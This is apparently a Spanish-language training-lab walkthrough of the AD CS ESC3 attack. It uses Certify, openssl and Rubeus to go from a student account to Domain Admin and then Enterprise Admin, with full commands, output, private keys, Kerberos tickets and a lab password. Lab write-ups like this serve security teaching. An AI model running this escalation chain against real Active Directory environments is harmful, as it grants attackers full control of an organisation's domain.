AD CS - ESC3

Escalacion de Domain Admin

Solicitamos un certificado.

C:\AD\Tools>Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : dcorp\student723
[*] No subject name specified, using current context as subject.

[*] Template                : SmartCardEnrollment-Agent
[*] Subject                 : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local

[*] Certificate Authority   : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 26

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4I+FDOA8/1N634WYW2BSqSpnjru2LW/C+THLJXUg3BQEhoBU
y70qhujvGDUtJO0NJ5n0yTar0bjme6rvFvAMeGQ5KynknMCr9P+VFASS3lhbWNpA
R+ZwMcyvXSivmBiK50WLrwbfw1vGKeXq103qJiMpNJQqeCsbD6WcohcsMkaGGCJe
na7fFKWjOHprQBS/xv0PyLIS4LEe2pCwe6nfu9C9V6DFTkGPEvPmC3OAWKXbAGEZ
RdqNDiskUlyuHA2UvMyEdl5q8JfiLG6qJ8n3OtH273LveZ1stxmPYmOzzBHdAITf
54OAKlqcQHRZ13i4QlJpavLfwXpXkBvoLpS/1QIDAQABAoIBAG/Q5wZfTeAxODi+
s/uj/eUAGWqoK3F6ehJNagMvzHnpectjcVW1zsw4hn1+VQlTBD7Y2Vur3mhiclnX
5o98XilAdnr4tD4dbkJjVV8PW/Zc9rdKjcF/jBQwAI4ZqT3J0riQF5rCiH8lXooU
Uxh8UoBE98qXkIIfrKzg4RqRAU/SgTj+YWM+GcC3cDhkqqLMPeUlJlR08zP2u5E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dF5kIoWuRC8ONUZnqpPAP9CQsJOq2v1s5+Tblar1oXzqLqHX1mU=
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:11.6275190

Guardamos el output en un archivo cert.pem y luego, convertimos cert.pem en pfx.

PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3agent.pfx
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:

Nos pidio una password, seteamos SecretPass@123. Luego realizamos una siguiente consulta.

PS C:\AD\Tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:dcorp\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : dcorp\student723

[*] Template                : SmartCardEnrollment-Users
[*] On Behalf Of            : dcorp\administrator

[*] Certificate Authority   : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 27

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsh7G2kKtVYbKmHfuRw6gO/JMWE1JfXeUOPYWXloNGn4SvjEQ
+MxdZOUvvS5ieRoWnux49AXWBlqicyMGTKIEIM1pGbW79SFv7cna12xIHskcmB4X
WzglCfSri/X55G4hgWghwxFfLZB1zL++uAdr9K4dZsMQh96Es1tGJH6cXLUw7gdG
Zy/3+DyOBQSfCCnfHE7a/LjF8lBrd4C9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wwTQYJKwYBBAGCNxkCBEAwPqA8Bgor
BgEEAYI3GQIBoC4ELFMtMS01LTIxLTcxOTgxNTgxOS0zNzI2MzY4OTQ4LTM5MTc2
ODg2NDgtNTAwMA0GCSqGSIb3DQEBCwUAA4IBAQBlDd98YeMYrHARcbV18wL3CBMK
Bg5XBYpfQwKQ887DYJkC4v/KqjSFqbaGZBA9oRnvb9JohkDAtQZqjyfIOYyAd5Kp
zp32AZcMssWn5crKgCAua+9iTUEgybsfqN+WBMACfUISzFDK6za81G1/zmTbOitx
Liw1xWx67PX4etRUfJrY8o881yw/eEPPMUaiClhVtbt6rh3PW4H3CiSX7ntN8CF6
JgbZhdYXQDsEjqVR9hkizP2GlcLQZTirLAxQucbuAQFBYvFS7yAFVo126wKxdV03
gY8E7gWKl7NvmVpLfoELZMu497VZI5HavPSEo/886tIJSWAGte+YSeORcSuF
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:06.6038748
PS C:\AD\Tools\openssl>

Luego volvemos a guardar esto como cert.pem y volvemos a exportar como .pfx.

PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3user-DA.pfx
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:

Ahora ejecutamos rubeus para cargar el certificado como un ticket.

PS C:\AD\Tools\openssl> ..\Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx /password:SecretPass@123 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\administrator'
[*] Using domain controller: 172.16.2.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIG4jCCBt6gAwIBBaEDAgEWooIFxjCCBcJhggW+MIIFuqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD
      T1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gxpkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOC
      BWIwggVeoAMCARKhAwIBAqKCBVAEggVM4IrTL6IPZvBf0Zt1RTDeHkow8LG1eUGbLuAQa1xChyniBdeB
      ZyQYpbluQ57AHwCYfLLSai0pxDyZnCeqeAQqmykcTsoJYoJC3QUA7+VKF2yA+lvsml5f0UHKAFUfCSxy
      WyN0H4URDV6Y2QFogEDj+KI4zKzZNZWT+OjS1i3DBJi9Ew/xYTT69YaXvFEOVHTwSbrOY9ktQxZVsJqz
      aSgQ0suBiMjTZk/jIzvQZIysjK7nxRC/wMVcyjkBtqT4IFPhhrzuEsiezxofSVQM8uMEZoDnZHjIAEW0
      t65Su1YC1JNvvtpu7CK1O/q0wRu9kgJfKYVf9TlJ2fDSkND/EodLEl1C1ra6ejKSSF6ojq1ftYaGBIpG
      i/vy1ClpKhNCZ9Fqn3MiQL1sr9CcByrWypJXExm+pAJw1y7DKtp1jKc46uhIMY0+sb1PGZKH1Rnv9IOn
      xaiHpI+ORXd+hArbSzdKAzHODmo3QNLuKJ7JCnXVW55W6ZwW4v9ZbZYEM4T8CvU1s00KKoX8vj9508p4
      ysDFzk4T4QVCu1we1RaYX3JqytCwjlMV/CCKpM+V9II6qGdV9UXEklpiuMuBFOwDZyXDfaRNR2Jxiukt
      9y5zU9qQpHcu4679DVuKJMz98vQuOwQxkUD1gZKHvgdek25FKGu6Sj3+Ojtxm44hed2LrS6rDyrzXy5V
      JwADOkh2LlZQ2lEj7sWl6YqNZ/oLCCDt5Sc8fWptWBp6UMQudF+vfybQENqkdA37F+XEJ/AoIKQfb8H6
      LC4bSCqED3UCsEOK96+6TJZZBWRPoMEYs3ZCuyyn8RuDAG6sfJIEfzVpQhPAH6s5eQ8kd7Ty4W2L0qe+
      HBN6XTz+zrI0KjRDVwyMc3pdyZxUQJEEiDCgq9JfJT2QTZLSuifmTlSrKASv5Mst1HIVpNtj5HW63idD
      SQ+jSHgHeBm0CAhHZLgDVY4P2xFlIw/Z0rYPEnAqxBmqGPrkEc3E70lQJXkEprawNVmEKyia6nF2LBOl
      K0zIBYW2qvMT+ZFk8lmbpFSRDIH2a+1mNE3ncgki4BW+b0ovHTJtnLlUR3LxcRs+UiP1vffhZajdyBnF
      HTWGZkIsJt5WU1mi64Nf5HF56gZ4S1ObDbTfNdqmCduxwHDQ5eFqRtezaOyRyV39D1T8T2GhppShlWcT
      7eG/8YOXoTvuBzWorWz3LUnvCJ3Xk5A+RaYjKognHvqYMj8GmT2V3AUL4EqEr78wFYS8nrfKSucvLfAb
      JtynbONcvsGhzneyEUvtvYQPFtezqv971Nia7Ar+jqvDYTHdZnwBP/Jm/QGG1s1gIOecFYuLGojouU1e
      9FS49Eu9JmO0cNiWt0EcBppTVcb0rANMuQHtdni+FAyQB/0rpLGnhc4VS3LI7MTpLlTacg/EBxMY7H5A
      YchoPmWUJJ88yUSmiw1UufXPnmhXA2sNbjFPvYaTu/tm6RpWScqiiITQwVRCCoGv8n95P+EAX2F+GeK3
      gqhrYMYmBt0EsO0yBfXe6ozIpYBwaCl8/7LBZ9fFFa60DwvGY492DM75b5CbplUMk32Fx/yeGuwIySxT
      Kej2y7kSzXmDiOQp20Nja1VQemyHMqXmlPuwQvggw3PzE+6Gh/O4ilAlkodb+b/3laexmo4HveiV8RBe
      75v3YnffrcT/xFdkU8JqReYr+kuvgT+j4qzqvWFKsX4Kt9fB22uGjLAU730oAWXGXkI0BbqGdHFe0AFG
      GPP2ausbGXMP5zE6B4myRK+t6XACIkpo8WrUrR6lYDkF9j+8LaYRSoMmZMbhlhUVvOKfN7drKQQmnC4h
      o4IBBjCCAQKgAwIBAKKB+gSB932B9DCB8aCB7jCB6zCB6KAbMBmgAwIBF6ESBBBKX+Bwv3tKP9/SStey
      RIxvoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRv
      cqMHAwUAQOEAAKURGA8yMDI0MDMwNDE0NDgxNFqmERgPMjAyNDAzMDUwMDQ4MTRapxEYDzIwMjQwMzEx
      MTQ0ODE0WqgcGxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKkvMC2gAwIBAqEmMCQbBmtyYnRndBsa
      ZG9sbGFyY29ycC5tb25leWNvcnAubG9jYWw=
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/dollarcorp.moneycorp.local
  ServiceRealm             :  DOLLARCORP.MONEYCORP.LOCAL
  UserName                 :  administrator
  UserRealm                :  DOLLARCORP.MONEYCORP.LOCAL
  StartTime                :  3/4/2024 6:48:14 AM
  EndTime                  :  3/4/2024 4:48:14 PM
  RenewTill                :  3/11/2024 7:48:14 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Sl/gcL97Sj/f0krXskSMbw==
  ASREP (key)              :  58B85F272C982B60EB11A37B72D188F3

PS C:\AD\Tools\openssl>

Verificamos que tenemos acceso.

PS C:\AD\Tools\openssl> ls \\dcorp-dc\C$


    Directory: \\dcorp-dc\C$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---        11/14/2022  10:12 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-r---          3/4/2024   6:11 AM                Users
d-----         1/10/2024  12:59 AM                Windows


PS C:\AD\Tools\openssl> Enter-PSSession -Computername dcorp-dc
[dcorp-dc]: PS C:\Users\Administrator\Documents> whoami
dcorp\administrator
[dcorp-dc]: PS C:\Users\Administrator\Documents> hostname
dcorp-dc
[dcorp-dc]: PS C:\Users\Administrator\Documents>

Escalacion a Enterprice Admin

Con el archivo esc3agent.pfx generado anteriormente, solicitamos un certificado de nuevo.

PS C:\AD\Tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:mcorp\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : dcorp\student723

[*] Template                : SmartCardEnrollment-Users
[*] On Behalf Of            : mcorp\administrator

[*] Certificate Authority   : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 30

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAxi4Jch9h1sz4IHPyrvhw6Kk188lfzepHfOFVGMLu9iWxWiqv
O2ULTu17OXhXTKNJ7/UQrUBZxWKVZPWv2E8HFCurruD0G4QPMTkDgPm8TZL437xg
ykE205K1LdvBxqC6DnfogfR7wB2sk3S7TO0LZNT/dt1QaDhGjilarHo7As8XXWfF
pjrJzt2H4pR/n0DUBzEsr9RLsQgBEItpYE61kOiHvI4HgBzz56+bTzjBJUz2/Pzy
H9lGzXym1oqtCZ+OKeDgUPMt0JgnOvjcI0QGK4CNyVHoaTaUZLLA3DqMNrHZgLmy
oFKhgnZ9RAC/OZFMTS4WNAxUCJGwh6iVdwMaDQIDAQABAoIBAF92c6Rei5Gd4HQ5
hhBUqobYY53QRe75yH/WR1iLJfK6C2lkoE5bCQx3BuGTH3JSQd5tzR+3nMahC1e7
pX3r63wC4Ut3Hv9WKL9MOGzbX6J6hpm3s2QZ7+AQjmfN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Idd8Bh/R6Jle7C3871ingPbIBimuGoYMJPtnSSRi6dpbq6A67q1QIG
CAZkhg+iVIkxj8+2ktYQer7Ph5owFGug3pDKcWfvEw9NO4nbDDGU/XKVoOJEBu/o
gPO+wNmW/abq0eJwyUXCmw5ZpHMquoySjtKKcL5WB1kdtMFjl/OuE2Ls5VaD5qNR
2DRbl2k=
-----END CERTIFICATE-----

Guardamos cert.pem en un archivo y volvemos a convertir a pfx.

PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3user.pfx
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:
PS C:\AD\Tools\openssl>

Ahora, usamos Rubeus para cargar el pfx y obtener un ticket para administrator.

PS C:\AD\Tools\openssl> ..\Rubeus.exe asktgt /user:moneycorp.local\administrator /certificate:esc3user.pfx /dc:mcorp-dc.moneycorp.local /password:SecretPass@123 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\administrator'
[*] Using domain controller: 172.16.1.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/moneycorp.local
  ServiceRealm             :  MONEYCORP.LOCAL
  UserName                 :  administrator
  UserRealm                :  MONEYCORP.LOCAL
  StartTime                :  3/4/2024 7:32:24 AM
  EndTime                  :  3/4/2024 5:32:24 PM
  RenewTill                :  3/11/2024 8:32:24 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  k2JTw+0tX/nDY1q8p5OQXA==
  ASREP (key)              :  DD25ADB77E7B591EE7AE44FB9E931596

Y luego podemos validar que el ticket funciona correctamente.

PS C:\AD\Tools\openssl> ls \\mcorp-dc\c$


    Directory: \\mcorp-dc\c$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---        11/10/2022   9:53 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-r---        11/11/2022   6:33 AM                Users
d-----         1/10/2024   1:35 AM                Windows


PS C:\AD\Tools\openssl> Enter-PSSession -Computername mcorp-dc
[mcorp-dc]: PS C:\Users\Administrator\Documents> whoami
mcorp\administrator
[mcorp-dc]: PS C:\Users\Administrator\Documents> hostname
mcorp-dc
[mcorp-dc]: PS C:\Users\Administrator\Documents>

Last updated